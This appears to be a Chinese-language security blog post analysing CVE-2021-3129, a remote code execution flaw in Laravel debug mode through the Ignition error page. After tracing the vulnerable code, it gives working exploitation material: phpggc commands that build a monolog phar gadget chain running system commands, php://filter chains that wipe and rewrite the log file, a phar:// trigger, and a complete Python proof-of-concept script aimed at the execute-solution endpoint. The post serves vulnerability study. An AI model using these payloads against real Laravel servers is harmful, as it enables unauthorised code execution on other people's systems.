Laravel <= v8.4.2 debug mode RCE 漏洞分析

CVE-2021-3129,利用思路非常有意思,值得记录和学习

漏洞分析

报错情况

这个漏洞是基于 Ignition <= 2.5.1,Ignition 是 Laravel 6 版本之后的默认错误页面生成器

In addition to displaying beautiful stack traces, Ignition comes with solutions, small snippets of code that solve problems that you might encounter while developping your application. For instance, this is what happens if we use an unknown variable in a template:

抓到 Make variable optional 的包

流程分析

上图可以看到请求的相关信息,可以根据路由定位一下相关代码 vendor/facade/ignition/src/IgnitionServiceProvider.php

\Facade\Ignition\IgnitionServiceProvider::registerHousekeepingRoutes

Route::post('execute-solution', ExecuteSolutionController::class)
->middleware(IgnitionConfigValueEnabled::class.':enableRunnableSolutions')
->name('executeSolution');

这里会触发 ExecuteSolutionController 的 invoke

\Facade\Ignition\Http\Controllers\ExecuteSolutionController

会调用获取 solution 对象的 run 方法

public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();

$solution->run($request->get('parameters', []));

return response('');
}

后续还有更深的调用栈,这里就不展开分析

ExecuteSolutionController->__invoke()
->ExecuteSolutionRequest->getRunnableSolution()->getSolution()
->MakeViewVariableOptionalSolution->run()

最后漏洞的触发点在 file_get_contents

public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}

public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

The only input variable left is viewFile. If we make abstraction of variableName and all of its uses, we end up with the following code snippet:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

漏洞复现

目前看到大概两个漏洞利用的方式

  • Phar 反序列化
  • Talking to PHP-FPM using FTP

Phar 反序列化

两种思路:

  1. phar 文件直接触发(需要上传点)
  2. log文件转换为 phar 文件(不需要上传点)

两种思路都是打的 laravel 的依赖的反序列化链

直接触发

如果能直接上传一个 phar文件的话可以直接触发

./phpggc monolog/rce1 system whoami --phar phar -o ./monolog1.gif

image-20210122231342884

转换触发

默认情况下,包含每个PHP错误和堆栈跟踪的Laravel日志文件存储在中storage/log/laravel.log

漏洞利用的核心思路是将 log 文件转换成 phar 文件,从而触发 phar 反序列化

清空 log 文件

viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/Applications/MAMP/htdocs/laravel/storage/logs/laravel.log

核心思路是:php://filter中的convert.base64-decode过滤器的特性为转换base64时会将不是base64的字符清空

PS: 需要连续的两次返回为 200 的 status 才能完全清空 log

给log添加一条前缀

viewFile: AA

写入 phar 数据进 log 文件

php -d'phar.readonly=0' ./phpggc monolog/rce1 system whoami --phar phar -o php://output | base64 -w0

再用 python 进行转换

import base64
s = [PAYLOAD]
''.join(["=" + hex(ord(i))[2:] + "=00" for i in s]).upper()

将编码后的字符直接写进文件

viewFile: [PAYLOAD]

触发 Phar 反序列化

先将文件内容解码成只有 Phar 的文件

viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

最后用伪协议触发 Phar 反序列化

viewFile: phar:///Applications/MAMP/htdocs/laravel/storage/logs/laravel.log/test.txt

大坑

MAMP 神仙环境,最后将文件内容解码的时候无法解压成 phar 格式内容

最后一步过滤文件内容的时候在环境上打过去一直 500

image-20210123163337310

重写了一个代码复现的

<?php
$contents = file_get_contents("php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/Applications/MAMP/htdocs/laravel/storage/logs/laravel.log");
file_put_contents("php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/Applications/MAMP/htdocs/laravel/storage/logs/laravel.log", $contents);
?>

image-20210123164709947

final POC

https://github.com/P2hm1n/vulnExploit/blob/main/laravel_debugmode_rce.py

import requests

url = "http://laravel:80/index.php/_ignition/execute-solution"
headers = {
"Accept": "application/json",
"Content-Type": "application/json"}
vul_json = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "username",
"viewFile": ""
}}


def clearLog():
global url, headers, vul_json
vul_json["parameters"]["viewFile"] = "php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log"
while True:
res1 = requests.post(url, headers=headers, json=vul_json, verify=False)
if res1 and res1.status_code == 200:
res2 = requests.post(url, headers=headers, json=vul_json, verify=False)
if res2 and res2.status_code == 200:
print("clear")
break

def getphar():
global url, headers, vul_json
# while True:
clearLog()
vul_json["parameters"]["viewFile"] = "AA"
res1 = requests.post(url, headers=headers, json=vul_json, verify=False)
if 'file_get_contents(AA)' in res1.text:
vul_json["parameters"]["viewFile"] = "=55=00=45=00=46=00=5A=00=54=00=45=00=39=00=42=00=52=00=41=00=3D=00=3D=00"
res2 = requests.post(url, headers=headers, json=vul_json, verify=False)
if 'file_get_contents(' in res2.text:
vul_json["parameters"]["viewFile"] = "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
res3 = requests.post(url, headers=headers, json=vul_json, verify=False)
if res3 and res3.status_code == 200:
print("phar write")

if __name__ == "__main__":
getphar()

后来跟 @lihuaiqiu 和 @decade 交流 MAMP 环境失败的原因,发现是 MAMP 没有相关的扩展

image-20210209175439934

Talking to PHP-FPM using FTP

思路很不错,可以看这两篇文章

本地复现的时候弹不了shell回来

image-20210123152707425

REF

https://zhuanlan.zhihu.com/p/344568679

https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g

甲方安全建设的思路学习和思考 浅析 Java 命令执行
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×